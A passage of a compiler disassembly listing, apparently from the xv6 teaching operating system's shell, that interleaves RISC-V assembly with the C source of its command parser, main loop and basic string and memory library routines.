a2,a2,-812 # 1378 <malloc+0x156> 6ac: 00000097 auipc ra,0x0 6b0: e72080e7 jalr -398(ra) # 51e <peek> 6b4: e905 bnez a0,6e4 <parseexec+0x5e> 6b6: 89aa mv s3,a0 return parseblock(ps, es); ret = execcmd(); 6b8: 00000097 auipc ra,0x0 6bc: bbe080e7 jalr -1090(ra) # 276 <execcmd> 6c0: 8c2a mv s8,a0 cmd = (struct execcmd*)ret; argc = 0; ret = parseredirs(ret, ps, es); 6c2: 8656 mv a2,s5 6c4: 85d2 mv a1,s4 6c6: 00000097 auipc ra,0x0 6ca: ec4080e7 jalr -316(ra) # 58a <parseredirs> 6ce: 84aa mv s1,a0 while(!peek(ps, es, "|)&;")){ 6d0: 008c0913 addi s2,s8,8 6d4: 00001b17 auipc s6,0x1 6d8: cc4b0b13 addi s6,s6,-828 # 1398 <malloc+0x176> if((tok=gettoken(ps, es, &q, &eq)) == 0) break; if(tok != 'a') 6dc: 06100c93 li s9,97 panic("syntax"); cmd->argv[argc] = q; cmd->eargv[argc] = eq; argc++; if(argc >= MAXARGS) 6e0: 4ba9 li s7,10 while(!peek(ps, es, "|)&;")){ 6e2: a0b1 j 72e <parseexec+0xa8> return parseblock(ps, es); 6e4: 85d6 mv a1,s5 6e6: 8552 mv a0,s4 6e8: 00000097 auipc ra,0x0 6ec: 1bc080e7 jalr 444(ra) # 8a4 <parseblock> 6f0: 84aa mv s1,a0 ret = parseredirs(ret, ps, es); } cmd->argv[argc] = 0; cmd->eargv[argc] = 0; return ret; } 6f2: 8526 mv a0,s1 6f4: 70a6 ld ra,104(sp) 6f6: 7406 ld s0,96(sp) 6f8: 64e6 ld s1,88(sp) 6fa: 6946 ld s2,80(sp) 6fc: 69a6 ld s3,72(sp) 6fe: 6a06 ld s4,64(sp) 700: 7ae2 ld s5,56(sp) 702: 7b42 ld s6,48(sp) 704: 7ba2 ld s7,40(sp) 706: 7c02 ld s8,32(sp) 708: 6ce2 ld s9,24(sp) 70a: 6165 addi sp,sp,112 70c: 8082 ret panic("syntax"); 70e: 00001517 auipc a0,0x1 712: c7250513 addi a0,a0,-910 # 1380 <malloc+0x15e> 716: 00000097 auipc ra,0x0 71a: 93e080e7 jalr -1730(ra) # 54 <panic> ret = parseredirs(ret, ps, es); 71e: 8656 mv a2,s5 720: 85d2 mv a1,s4 722: 8526 mv a0,s1 724: 00000097 auipc ra,0x0 728: e66080e7 jalr -410(ra) # 58a <parseredirs> 72c: 84aa mv s1,a0 while(!peek(ps, es, "|)&;")){ 72e: 865a mv a2,s6 730: 85d6 mv a1,s5 732: 8552 mv a0,s4 734: 00000097 auipc ra,0x0 738: dea080e7 jalr -534(ra) # 51e <peek> 73c: e131 bnez a0,780 <parseexec+0xfa> if((tok=gettoken(ps, es, &q, &eq)) == 0) 73e: f9040693 addi a3,s0,-112 742: f9840613 addi a2,s0,-104 746: 85d6 mv a1,s5 748: 8552 mv a0,s4 74a: 00000097 auipc ra,0x0 74e: c92080e7 jalr -878(ra) # 3dc <gettoken> 752: c51d beqz a0,780 <parseexec+0xfa> if(tok != 'a') 754: fb951de3 bne a0,s9,70e <parseexec+0x88> cmd->argv[argc] = q; 758: f9843783 ld a5,-104(s0) 75c: 00f93023 sd a5,0(s2) cmd->eargv[argc] = eq; 760: f9043783 ld a5,-112(s0) 764: 04f93823 sd a5,80(s2) argc++; 768: 2985 addiw s3,s3,1 if(argc >= MAXARGS) 76a: 0921 addi s2,s2,8 76c: fb7999e3 bne s3,s7,71e <parseexec+0x98> panic("too many args"); 770: 00001517 auipc a0,0x1 774: c1850513 addi a0,a0,-1000 # 1388 <malloc+0x166> 778: 00000097 auipc ra,0x0 77c: 8dc080e7 jalr -1828(ra) # 54 <panic> cmd->argv[argc] = 0; 780: 098e slli s3,s3,0x3 782: 9c4e add s8,s8,s3 784: 000c3423 sd zero,8(s8) cmd->eargv[argc] = 0; 788: 040c3c23 sd zero,88(s8) return ret; 78c: b79d j 6f2 <parseexec+0x6c> 000000000000078e <parsepipe>: { 78e: 7179 addi sp,sp,-48 790: f406 sd ra,40(sp) 792: f022 sd s0,32(sp) 794: ec26 sd s1,24(sp) 796: e84a sd s2,16(sp) 798: e44e sd s3,8(sp) 79a: 1800 addi s0,sp,48 79c: 892a mv s2,a0 79e: 89ae mv s3,a1 cmd = parseexec(ps, es); 7a0: 00000097 auipc ra,0x0 7a4: ee6080e7 jalr -282(ra) # 686 <parseexec> 7a8: 84aa mv s1,a0 if(peek(ps, es, "|")){ 7aa: 00001617 auipc a2,0x1 7ae: bf660613 addi a2,a2,-1034 # 13a0 <malloc+0x17e> 7b2: 85ce mv a1,s3 7b4: 854a mv a0,s2 7b6: 00000097 auipc ra,0x0 7ba: d68080e7 jalr -664(ra) # 51e <peek> 7be: e909 bnez a0,7d0 <parsepipe+0x42> } 7c0: 8526 mv a0,s1 7c2: 70a2 ld ra,40(sp) 7c4: 7402 ld s0,32(sp) 7c6: 64e2 ld s1,24(sp) 7c8: 6942 ld s2,16(sp) 7ca: 69a2 ld s3,8(sp) 7cc: 6145 addi sp,sp,48 7ce: 8082 ret gettoken(ps, es, 0, 0); 7d0: 4681 li a3,0 7d2: 4601 li a2,0 7d4: 85ce mv a1,s3 7d6: 854a mv a0,s2 7d8: 00000097 auipc ra,0x0 7dc: c04080e7 jalr -1020(ra) # 3dc <gettoken> cmd = pipecmd(cmd, parsepipe(ps, es)); 7e0: 85ce mv a1,s3 7e2: 854a mv a0,s2 7e4: 00000097 auipc ra,0x0 7e8: faa080e7 jalr -86(ra) # 78e <parsepipe> 7ec: 85aa mv a1,a0 7ee: 8526 mv a0,s1 7f0: 00000097 auipc ra,0x0 7f4: b24080e7 jalr -1244(ra) # 314 <pipecmd> 7f8: 84aa mv s1,a0 return cmd; 7fa: b7d9 j 7c0 <parsepipe+0x32> 00000000000007fc <parseline>: { 7fc: 7179 addi sp,sp,-48 7fe: f406 sd ra,40(sp) 800: f022 sd s0,32(sp) 802: ec26 sd s1,24(sp) 804: e84a sd s2,16(sp) 806: e44e sd s3,8(sp) 808: e052 sd s4,0(sp) 80a: 1800 addi s0,sp,48 80c: 892a mv s2,a0 80e: 89ae mv s3,a1 cmd = parsepipe(ps, es); 810: 00000097 auipc ra,0x0 814: f7e080e7 jalr -130(ra) # 78e <parsepipe> 818: 84aa mv s1,a0 while(peek(ps, es, "&")){ 81a: 00001a17 auipc s4,0x1 81e: b8ea0a13 addi s4,s4,-1138 # 13a8 <malloc+0x186> 822: a839 j 840 <parseline+0x44> gettoken(ps, es, 0, 0); 824: 4681 li a3,0 826: 4601 li a2,0 828: 85ce mv a1,s3 82a: 854a mv a0,s2 82c: 00000097 auipc ra,0x0 830: bb0080e7 jalr -1104(ra) # 3dc <gettoken> cmd = backcmd(cmd); 834: 8526 mv a0,s1 836: 00000097 auipc ra,0x0 83a: b6a080e7 jalr -1174(ra) # 3a0 <backcmd> 83e: 84aa mv s1,a0 while(peek(ps, es, "&")){ 840: 8652 mv a2,s4 842: 85ce mv a1,s3 844: 854a mv a0,s2 846: 00000097 auipc ra,0x0 84a: cd8080e7 jalr -808(ra) # 51e <peek> 84e: f979 bnez a0,824 <parseline+0x28> if(peek(ps, es, ";")){ 850: 00001617 auipc a2,0x1 854: b6060613 addi a2,a2,-1184 # 13b0 <malloc+0x18e> 858: 85ce mv a1,s3 85a: 854a mv a0,s2 85c: 00000097 auipc ra,0x0 860: cc2080e7 jalr -830(ra) # 51e <peek> 864: e911 bnez a0,878 <parseline+0x7c> } 866: 8526 mv a0,s1 868: 70a2 ld ra,40(sp) 86a: 7402 ld s0,32(sp) 86c: 64e2 ld s1,24(sp) 86e: 6942 ld s2,16(sp) 870: 69a2 ld s3,8(sp) 872: 6a02 ld s4,0(sp) 874: 6145 addi sp,sp,48 876: 8082 ret gettoken(ps, es, 0, 0); 878: 4681 li a3,0 87a: 4601 li a2,0 87c: 85ce mv a1,s3 87e: 854a mv a0,s2 880: 00000097 auipc ra,0x0 884: b5c080e7 jalr -1188(ra) # 3dc <gettoken> cmd = listcmd(cmd, parseline(ps, es)); 888: 85ce mv a1,s3 88a: 854a mv a0,s2 88c: 00000097 auipc ra,0x0 890: f70080e7 jalr -144(ra) # 7fc <parseline> 894: 85aa mv a1,a0 896: 8526 mv a0,s1 898: 00000097 auipc ra,0x0 89c: ac2080e7 jalr -1342(ra) # 35a <listcmd> 8a0: 84aa mv s1,a0 return cmd; 8a2: b7d1 j 866 <parseline+0x6a> 00000000000008a4 <parseblock>: { 8a4: 7179 addi sp,sp,-48 8a6: f406 sd ra,40(sp) 8a8: f022 sd s0,32(sp) 8aa: ec26 sd s1,24(sp) 8ac: e84a sd s2,16(sp) 8ae: e44e sd s3,8(sp) 8b0: 1800 addi s0,sp,48 8b2: 84aa mv s1,a0 8b4: 892e mv s2,a1 if(!peek(ps, es, "(")) 8b6: 00001617 auipc a2,0x1 8ba: ac260613 addi a2,a2,-1342 # 1378 <malloc+0x156> 8be: 00000097 auipc ra,0x0 8c2: c60080e7 jalr -928(ra) # 51e <peek> 8c6: c12d beqz a0,928 <parseblock+0x84> gettoken(ps, es, 0, 0); 8c8: 4681 li a3,0 8ca: 4601 li a2,0 8cc: 85ca mv a1,s2 8ce: 8526 mv a0,s1 8d0: 00000097 auipc ra,0x0 8d4: b0c080e7 jalr -1268(ra) # 3dc <gettoken> cmd = parseline(ps, es); 8d8: 85ca mv a1,s2 8da: 8526 mv a0,s1 8dc: 00000097 auipc ra,0x0 8e0: f20080e7 jalr -224(ra) # 7fc <parseline> 8e4: 89aa mv s3,a0 if(!peek(ps, es, ")")) 8e6: 00001617 auipc a2,0x1 8ea: ae260613 addi a2,a2,-1310 # 13c8 <malloc+0x1a6> 8ee: 85ca mv a1,s2 8f0: 8526 mv a0,s1 8f2: 00000097 auipc ra,0x0 8f6: c2c080e7 jalr -980(ra) # 51e <peek> 8fa: cd1d beqz a0,938 <parseblock+0x94> gettoken(ps, es, 0, 0); 8fc: 4681 li a3,0 8fe: 4601 li a2,0 900: 85ca mv a1,s2 902: 8526 mv a0,s1 904: 00000097 auipc ra,0x0 908: ad8080e7 jalr -1320(ra) # 3dc <gettoken> cmd = parseredirs(cmd, ps, es); 90c: 864a mv a2,s2 90e: 85a6 mv a1,s1 910: 854e mv a0,s3 912: 00000097 auipc ra,0x0 916: c78080e7 jalr -904(ra) # 58a <parseredirs> } 91a: 70a2 ld ra,40(sp) 91c: 7402 ld s0,32(sp) 91e: 64e2 ld s1,24(sp) 920: 6942 ld s2,16(sp) 922: 69a2 ld s3,8(sp) 924: 6145 addi sp,sp,48 926: 8082 ret panic("parseblock"); 928: 00001517 auipc a0,0x1 92c: a9050513 addi a0,a0,-1392 # 13b8 <malloc+0x196> 930: fffff097 auipc ra,0xfffff 934: 724080e7 jalr 1828(ra) # 54 <panic> panic("syntax - missing )"); 938: 00001517 auipc a0,0x1 93c: a9850513 addi a0,a0,-1384 # 13d0 <malloc+0x1ae> 940: fffff097 auipc ra,0xfffff 944: 714080e7 jalr 1812(ra) # 54 <panic> 0000000000000948 <nulterminate>: // NUL-terminate all the counted strings. struct cmd* nulterminate(struct cmd *cmd) { 948: 1101 addi sp,sp,-32 94a: ec06 sd ra,24(sp) 94c: e822 sd s0,16(sp) 94e: e426 sd s1,8(sp) 950: 1000 addi s0,sp,32 952: 84aa mv s1,a0 struct execcmd *ecmd; struct listcmd *lcmd; struct pipecmd *pcmd; struct redircmd *rcmd; if(cmd == 0) 954: c521 beqz a0,99c <nulterminate+0x54> return 0; switch(cmd->type){ 956: 4118 lw a4,0(a0) 958: 4795 li a5,5 95a: 04e7e163 bltu a5,a4,99c <nulterminate+0x54> 95e: 00056783 lwu a5,0(a0) 962: 078a slli a5,a5,0x2 964: 00001717 auipc a4,0x1 968: acc70713 addi a4,a4,-1332 # 1430 <malloc+0x20e> 96c: 97ba add a5,a5,a4 96e: 439c lw a5,0(a5) 970: 97ba add a5,a5,a4 972: 8782 jr a5 case EXEC: ecmd = (struct execcmd*)cmd; for(i=0; ecmd->argv[i]; i++) 974: 651c ld a5,8(a0) 976: c39d beqz a5,99c <nulterminate+0x54> 978: 01050793 addi a5,a0,16 *ecmd->eargv[i] = 0; 97c: 67b8 ld a4,72(a5) 97e: 00070023 sb zero,0(a4) for(i=0; ecmd->argv[i]; i++) 982: 07a1 addi a5,a5,8 984: ff87b703 ld a4,-8(a5) 988: fb75 bnez a4,97c <nulterminate+0x34> 98a: a809 j 99c <nulterminate+0x54> break; case REDIR: rcmd = (struct redircmd*)cmd; nulterminate(rcmd->cmd); 98c: 6508 ld a0,8(a0) 98e: 00000097 auipc ra,0x0 992: fba080e7 jalr -70(ra) # 948 <nulterminate> *rcmd->efile = 0; 996: 6c9c ld a5,24(s1) 998: 00078023 sb zero,0(a5) bcmd = (struct backcmd*)cmd; nulterminate(bcmd->cmd); break; } return cmd; } 99c: 8526 mv a0,s1 99e: 60e2 ld ra,24(sp) 9a0: 6442 ld s0,16(sp) 9a2: 64a2 ld s1,8(sp) 9a4: 6105 addi sp,sp,32 9a6: 8082 ret nulterminate(pcmd->left); 9a8: 6508 ld a0,8(a0) 9aa: 00000097 auipc ra,0x0 9ae: f9e080e7 jalr -98(ra) # 948 <nulterminate> nulterminate(pcmd->right); 9b2: 6888 ld a0,16(s1) 9b4: 00000097 auipc ra,0x0 9b8: f94080e7 jalr -108(ra) # 948 <nulterminate> break; 9bc: b7c5 j 99c <nulterminate+0x54> nulterminate(lcmd->left); 9be: 6508 ld a0,8(a0) 9c0: 00000097 auipc ra,0x0 9c4: f88080e7 jalr -120(ra) # 948 <nulterminate> nulterminate(lcmd->right); 9c8: 6888 ld a0,16(s1) 9ca: 00000097 auipc ra,0x0 9ce: f7e080e7 jalr -130(ra) # 948 <nulterminate> break; 9d2: b7e9 j 99c <nulterminate+0x54> nulterminate(bcmd->cmd); 9d4: 6508 ld a0,8(a0) 9d6: 00000097 auipc ra,0x0 9da: f72080e7 jalr -142(ra) # 948 <nulterminate> break; 9de: bf7d j 99c <nulterminate+0x54> 00000000000009e0 <parsecmd>: { 9e0: 7179 addi sp,sp,-48 9e2: f406 sd ra,40(sp) 9e4: f022 sd s0,32(sp) 9e6: ec26 sd s1,24(sp) 9e8: e84a sd s2,16(sp) 9ea: 1800 addi s0,sp,48 9ec: fca43c23 sd a0,-40(s0) es = s + strlen(s); 9f0: 84aa mv s1,a0 9f2: 00000097 auipc ra,0x0 9f6: 1b2080e7 jalr 434(ra) # ba4 <strlen> 9fa: 1502 slli a0,a0,0x20 9fc: 9101 srli a0,a0,0x20 9fe: 94aa add s1,s1,a0 cmd = parseline(&s, es); a00: 85a6 mv a1,s1 a02: fd840513 addi a0,s0,-40 a06: 00000097 auipc ra,0x0 a0a: df6080e7 jalr -522(ra) # 7fc <parseline> a0e: 892a mv s2,a0 peek(&s, es, ""); a10: 00001617 auipc a2,0x1 a14: 9d860613 addi a2,a2,-1576 # 13e8 <malloc+0x1c6> a18: 85a6 mv a1,s1 a1a: fd840513 addi a0,s0,-40 a1e: 00000097 auipc ra,0x0 a22: b00080e7 jalr -1280(ra) # 51e <peek> if(s != es){ a26: fd843603 ld a2,-40(s0) a2a: 00961e63 bne a2,s1,a46 <parsecmd+0x66> nulterminate(cmd); a2e: 854a mv a0,s2 a30: 00000097 auipc ra,0x0 a34: f18080e7 jalr -232(ra) # 948 <nulterminate> } a38: 854a mv a0,s2 a3a: 70a2 ld ra,40(sp) a3c: 7402 ld s0,32(sp) a3e: 64e2 ld s1,24(sp) a40: 6942 ld s2,16(sp) a42: 6145 addi sp,sp,48 a44: 8082 ret fprintf(2, "leftovers: %s\n", s); a46: 00001597 auipc a1,0x1 a4a: 9aa58593 addi a1,a1,-1622 # 13f0 <malloc+0x1ce> a4e: 4509 li a0,2 a50: 00000097 auipc ra,0x0 a54: 6ec080e7 jalr 1772(ra) # 113c <fprintf> panic("syntax"); a58: 00001517 auipc a0,0x1 a5c: 92850513 addi a0,a0,-1752 # 1380 <malloc+0x15e> a60: fffff097 auipc ra,0xfffff a64: 5f4080e7 jalr 1524(ra) # 54 <panic> 0000000000000a68 <main>: { a68: 7139 addi sp,sp,-64 a6a: fc06 sd ra,56(sp) a6c: f822 sd s0,48(sp) a6e: f426 sd s1,40(sp) a70: f04a sd s2,32(sp) a72: ec4e sd s3,24(sp) a74: e852 sd s4,16(sp) a76: e456 sd s5,8(sp) a78: 0080 addi s0,sp,64 while((fd = open("console", O_RDWR)) >= 0){ a7a: 00001497 auipc s1,0x1 a7e: 98648493 addi s1,s1,-1658 # 1400 <malloc+0x1de> a82: 4589 li a1,2 a84: 8526 mv a0,s1 a86: 00000097 auipc ra,0x0 a8a: 382080e7 jalr 898(ra) # e08 <open> a8e: 00054963 bltz a0,aa0 <main+0x38> if(fd >= 3){ a92: 4789 li a5,2 a94: fea7d7e3 bge a5,a0,a82 <main+0x1a> close(fd); a98: 00000097 auipc ra,0x0 a9c: 358080e7 jalr 856(ra) # df0 <close> while(getcmd(buf, sizeof(buf)) >= 0){ aa0: 00001497 auipc s1,0x1 aa4: a3848493 addi s1,s1,-1480 # 14d8 <buf.0> if(buf[0] == 'c' && buf[1] == 'd' && buf[2] == ' '){ aa8: 06300913 li s2,99 aac: 02000993 li s3,32 if(chdir(buf+3) < 0) ab0: 00001a17 auipc s4,0x1 ab4: a2ba0a13 addi s4,s4,-1493 # 14db <buf.0+0x3> fprintf(2, "cannot cd %s\n", buf+3); ab8: 00001a97 auipc s5,0x1 abc: 950a8a93 addi s5,s5,-1712 # 1408 <malloc+0x1e6> ac0: a819 j ad6 <main+0x6e> if(fork1() == 0) ac2: fffff097 auipc ra,0xfffff ac6: 5b8080e7 jalr 1464(ra) # 7a <fork1> aca: c925 beqz a0,b3a <main+0xd2> wait(0); acc: 4501 li a0,0 ace: 00000097 auipc ra,0x0 ad2: 302080e7 jalr 770(ra) # dd0 <wait> while(getcmd(buf, sizeof(buf)) >= 0){ ad6: 06400593 li a1,100 ada: 8526 mv a0,s1 adc: fffff097 auipc ra,0xfffff ae0: 524080e7 jalr 1316(ra) # 0 <getcmd> ae4: 06054763 bltz a0,b52 <main+0xea> if(buf[0] == 'c' && buf[1] == 'd' && buf[2] == ' '){ ae8: 0004c783 lbu a5,0(s1) aec: fd279be3 bne a5,s2,ac2 <main+0x5a> af0: 0014c703 lbu a4,1(s1) af4: 06400793 li a5,100 af8: fcf715e3 bne a4,a5,ac2 <main+0x5a> afc: 0024c783 lbu a5,2(s1) b00: fd3791e3 bne a5,s3,ac2 <main+0x5a> buf[strlen(buf)-1] = 0; // chop \n b04: 8526 mv a0,s1 b06: 00000097 auipc ra,0x0 b0a: 09e080e7 jalr 158(ra) # ba4 <strlen> b0e: fff5079b addiw a5,a0,-1 b12: 1782 slli a5,a5,0x20 b14: 9381 srli a5,a5,0x20 b16: 97a6 add a5,a5,s1 b18: 00078023 sb zero,0(a5) if(chdir(buf+3) < 0) b1c: 8552 mv a0,s4 b1e: 00000097 auipc ra,0x0 b22: 31a080e7 jalr 794(ra) # e38 <chdir> b26: fa0558e3 bgez a0,ad6 <main+0x6e> fprintf(2, "cannot cd %s\n", buf+3); b2a: 8652 mv a2,s4 b2c: 85d6 mv a1,s5 b2e: 4509 li a0,2 b30: 00000097 auipc ra,0x0 b34: 60c080e7 jalr 1548(ra) # 113c <fprintf> b38: bf79 j ad6 <main+0x6e> runcmd(parsecmd(buf)); b3a: 00001517 auipc a0,0x1 b3e: 99e50513 addi a0,a0,-1634 # 14d8 <buf.0> b42: 00000097 auipc ra,0x0 b46: e9e080e7 jalr -354(ra) # 9e0 <parsecmd> b4a: fffff097 auipc ra,0xfffff b4e: 55e080e7 jalr 1374(ra) # a8 <runcmd> exit(0); b52: 4501 li a0,0 b54: 00000097 auipc ra,0x0 b58: 274080e7 jalr 628(ra) # dc8 <exit> 0000000000000b5c <strcpy>: #include "kernel/fcntl.h" #include "user/user.h" char* strcpy(char *s, const char *t) { b5c: 1141 addi sp,sp,-16 b5e: e422 sd s0,8(sp) b60: 0800 addi s0,sp,16 char *os; os = s; while((*s++ = *t++) != 0) b62: 87aa mv a5,a0 b64: 0585 addi a1,a1,1 b66: 0785 addi a5,a5,1 b68: fff5c703 lbu a4,-1(a1) b6c: fee78fa3 sb a4,-1(a5) b70: fb75 bnez a4,b64 <strcpy+0x8> ; return os; } b72: 6422 ld s0,8(sp) b74: 0141 addi sp,sp,16 b76: 8082 ret 0000000000000b78 <strcmp>: int strcmp(const char *p, const char *q) { b78: 1141 addi sp,sp,-16 b7a: e422 sd s0,8(sp) b7c: 0800 addi s0,sp,16 while(*p && *p == *q) b7e: 00054783 lbu a5,0(a0) b82: cb91 beqz a5,b96 <strcmp+0x1e> b84: 0005c703 lbu a4,0(a1) b88: 00f71763 bne a4,a5,b96 <strcmp+0x1e> p++, q++; b8c: 0505 addi a0,a0,1 b8e: 0585 addi a1,a1,1 while(*p && *p == *q) b90: 00054783 lbu a5,0(a0) b94: fbe5 bnez a5,b84 <strcmp+0xc> return (uchar)*p - (uchar)*q; b96: 0005c503 lbu a0,0(a1) } b9a: 40a7853b subw a0,a5,a0 b9e: 6422 ld s0,8(sp) ba0: 0141 addi sp,sp,16 ba2: 8082 ret 0000000000000ba4 <strlen>: uint strlen(const char *s) { ba4: 1141 addi sp,sp,-16 ba6: e422 sd s0,8(sp) ba8: 0800 addi s0,sp,16 int n; for(n = 0; s[n]; n++) baa: 00054783 lbu a5,0(a0) bae: cf91 beqz a5,bca <strlen+0x26> bb0: 0505 addi a0,a0,1 bb2: 87aa mv a5,a0 bb4: 4685 li a3,1 bb6: 9e89 subw a3,a3,a0 bb8: 00f6853b addw a0,a3,a5 bbc: 0785 addi a5,a5,1 bbe: fff7c703 lbu a4,-1(a5) bc2: fb7d bnez a4,bb8 <strlen+0x14> ; return n; } bc4: 6422 ld s0,8(sp) bc6: 0141 addi sp,sp,16 bc8: 8082 ret for(n = 0; s[n]; n++) bca: 4501 li a0,0 bcc: bfe5 j bc4 <strlen+0x20> 0000000000000bce <memset>: void* memset(void *dst, int c, uint n) { bce: 1141 addi sp,sp,-16 bd0: e422 sd s0,8(sp) bd2: 0800 addi s0,sp,16 char *cdst = (char *) dst; int i; for(i = 0; i < n; i++){ bd4: ca19 beqz a2,bea <memset+0x1c> bd6: 87aa mv a5,a0 bd8: 1602 slli a2,a2,0x20 bda: 9201 srli a2,a2,0x20 bdc: 00a60733 add a4,a2,a0 cdst[i] = c; be0: 00b78023 sb a1,0(a5) for(i = 0; i < n; i++){ be4: 0785 addi a5,a5,1 be6: fee79de3 bne a5,a4,be0 <memset+0x12> } return dst; } bea: 6422 ld s0,8(sp) bec: 0141 addi sp,sp,16 bee: 8082 ret 0000000000000bf0 <strchr>: char* strchr(const char *s, char c) { bf0: 1141 addi sp,sp,-16 bf2: e422 sd s0,8(sp) bf4: 0800 addi s0,sp,16 for(; *s; s++) bf6: 00054783 lbu a5,0(a0) bfa: cb99 beqz a5,c10 <strchr+0x20> if(*s == c) bfc: 00f58763 beq a1,a5,c0a <strchr+0x1a> for(; *s; s++) c00: 0505 addi a0,a0,1 c02: 00054783 lbu a5,0(a0) c06: fbfd bnez a5,bfc <strchr+0xc> return (char*)s; return 0; c08: 4501 li a0,0 } c0a: 6422 ld s0,8(sp) c0c: 0141 addi sp,sp,16 c0e: 8082 ret return 0; c10: 4501 li a0,0 c12: bfe5 j c0a <strchr+0x1a> 0000000000000c14 <gets>: char* gets(char *buf, int max) { c14: 711d addi sp,sp,-96 c16: ec86 sd ra,88(sp) c18: e8a2 sd s0,80(sp) c1a: e4a6 sd s1,72(sp) c1c: e0ca sd s2,64(sp) c1e: fc4e sd s3,56(sp) c20: f852 sd s4,48(sp) c22: f456 sd s5,40(sp) c24: f05a sd s6,32(sp) c26: ec5e sd s7,24(sp) c28: 1080 addi s0,sp,96 c2a: 8baa mv s7,a0 c2c: 8a2e mv s4,a1 int i, cc; char c; for(i=0; i+1 < max; ){ c2e: 892a mv s2,a0 c30: 4481 li s1,0 cc = read(0, &c, 1); if(cc < 1) break; buf[i++] = c; if(c == '\n' || c == '\r') c32: 4aa9 li s5,10 c34: 4b35 li s6,13 for(i=0; i+1 < max; ){ c36: 89a6 mv s3,s1 c38: 2485 addiw s1,s1,1 c3a: 0344d863 bge s1,s4,c6a <gets+0x56> cc = read(0, &c, 1); c3e: 4605 li a2,1 c40: faf40593 addi a1,s0,-81 c44: 4501 li a0,0 c46: 00000097 auipc ra,0x0 c4a: 19a080e7 jalr 410(ra) # de0 <read> if(cc < 1) c4e: 00a05e63 blez a0,c6a <gets+0x56> buf[i++] = c; c52: faf44783 lbu a5,-81(s0) c56: 00f90023 sb a5,0(s2) if(c == '\n' || c == '\r') c5a: 01578763 beq a5,s5,c68 <gets+0x54> c5e: 0905 addi s2,s2,1 c60: fd679be3 bne a5,s6,c36 <gets+0x22> for(i=0; i+1 < max; ){ c64: 89a6 mv s3,s1 c66: a011 j c6a <gets+0x56> c68: 89a6 mv s3,s1 break; } buf[i] = '\0'; c6a: 99de add s3,s3,s7 c6c: 00098023 sb zero,0(s3) return buf; } c70: 855e mv a0,s7 c72: 60e6 ld ra,88(sp) c74: 6446 ld s0,80(sp) c76: 64a6 ld s1,72(sp) c78: 6906 ld s2,64(sp) c7a: 79e2 ld s3,56(sp) c7c: 7a42 ld s4,48(sp) c7e: 7aa2 ld s5,40(sp) c80: 7b02 ld s6,32(sp) c82: 6be2 ld s7,24(sp) c84: 6125 addi sp,sp,96 c86: 8082 ret 0000000000000c88 <stat>: int stat(const char *n, struct stat *st) { c88: 1101 addi sp,sp,-32 c8a: ec06 sd ra,24(sp) c8c: e822 sd s0,16(sp) c8e: e426 sd s1,8(sp) c90: e04a sd s2,0(sp) c92: 1000 addi s0,sp,32 c94: 892e mv s2,a1 int fd; int r; fd = open(n, O_RDONLY); c96: 4581 li a1,0 c98: 00000097 auipc ra,0x0 c9c: 170080e7 jalr 368(ra) # e08 <open> if(fd < 0) ca0: 02054563 bltz a0,cca <stat+0x42> ca4: 84aa mv s1,a0 return -1; r = fstat(fd, st); ca6: 85ca mv a1,s2 ca8: 00000097 auipc ra,0x0 cac: 178080e7 jalr 376(ra) # e20 <fstat> cb0: 892a mv s2,a0 close(fd); cb2: 8526 mv a0,s1 cb4: 00000097 auipc ra,0x0 cb8: 13c080e7 jalr 316(ra) # df0 <close> return r; } cbc: 854a mv a0,s2 cbe: 60e2 ld ra,24(sp) cc0: 6442 ld s0,16(sp) cc2: 64a2 ld s1,8(sp) cc4: 6902 ld s2,0(sp) cc6: 6105 addi sp,sp,32 cc8: 8082 ret return -1; cca: 597d li s2,-1 ccc: bfc5 j cbc <stat+0x34> 0000000000000cce <atoi>: int atoi(const char *s) { cce: 1141 addi sp,sp,-16 cd0: e422 sd s0,8(sp) cd2: 0800 addi s0,sp,16 int n; n = 0; while('0' <= *s && *s <= '9') cd4: 00054683 lbu a3,0(a0) cd8: fd06879b addiw a5,a3,-48 cdc: 0ff7f793 zext.b a5,a5 ce0: 4625 li a2,9 ce2: 02f66863 bltu a2,a5,d12 <atoi+0x44> ce6: 872a mv a4,a0 n = 0; ce8: 4501 li a0,0 n = n*10 + *s++ - '0'; cea: 0705 addi a4,a4,1 cec: 0025179b slliw a5,a0,0x2 cf0: 9fa9 addw a5,a5,a0 cf2: 0017979b slliw a5,a5,0x1 cf6: 9fb5 addw a5,a5,a3 cf8: fd07851b addiw a0,a5,-48 while('0' <= *s && *s <= '9') cfc: 00074683 lbu a3,0(a4) d00: fd06879b addiw a5,a3,-48 d04: 0ff7f793 zext.b a5,a5 d08: fef671e3 bgeu a2,a5,cea <atoi+0x1c> return n; } d0c: 6422 ld s0,8(sp) d0e: 0141 addi sp,sp,16 d10: 8082 ret n = 0; d12: 4501 li a0,0 d14: bfe5 j d0c <atoi+0x3e> 0000000000000d16 <memmove>: void* memmove(void *vdst, const void *vsrc, int n) { d16: 1141 addi sp,sp,-16 d18: e422 sd s0,8(sp) d1a: 0800 addi s0,sp,16 char *dst; const char *src; dst = vdst; src = vsrc; if (src > dst) { d1c: 02b57463 bgeu a0,a1,d44 <memmove+0x2e> while(n-- > 0) d20: 00c05f63 blez a2,d3e <memmove+0x28> d24: 1602 slli a2,a2,0x20 d26: 9201 srli a2,a2,0x20 d28: 00c507b3 add a5,a0,a2 dst = vdst; d2c: 872a mv a4,a0 *dst++ = *src++; d2e: 0585 addi a1,a1,1 d30: 0705 addi a4,a4,1 d32: fff5c683 lbu a3,-1(a1) d36: fed70fa3 sb a3,-1(a4) while(n-- > 0) d3a: fee79ae3 bne a5,a4,d2e <memmove+0x18> src += n; while(n-- > 0) *--dst = *--src; } return vdst; } d3e: 6422 ld s0,8(sp) d40: 0141 addi sp,sp,16 d42: 8082 ret dst += n; d44: 00c50733 add a4,a0,a2 src += n; d48: 95b2 add a1,a1,a2 while(n-- > 0) d4a: fec05ae3 blez a2,d3e <memmove+0x28> d4e: fff6079b addiw a5,a2,-1 d52: 1782 slli a5,a5,0x20 d54: 9381 srli a5,a5,0x20 d56: fff7c793 not a5,a5 d5a: 97ba add a5,a5,a4 *--dst = *--src; d5c: 15fd addi a1,a1,-1 d5e: 177d addi a4,a4,-1 d60: 0005c683 lbu a3,0(a1) d64: 00d70023 sb a3,0(a4) while(n-- > 0) d68: fee79ae3 bne a5,a4,d5c <memmove+0x46> d6c: bfc9 j d3e <memmove+0x28> 0000000000000d6e <memcmp>: int memcmp(const void *s1, const void *s2, uint n) { d6e: 1141 addi sp,sp,-16 d70: e422 sd s0,8(sp) d72: 0800 addi s0,sp,16 const char *p1 = s1, *p2 = s2; while (n-- > 0) { d74: ca05 beqz 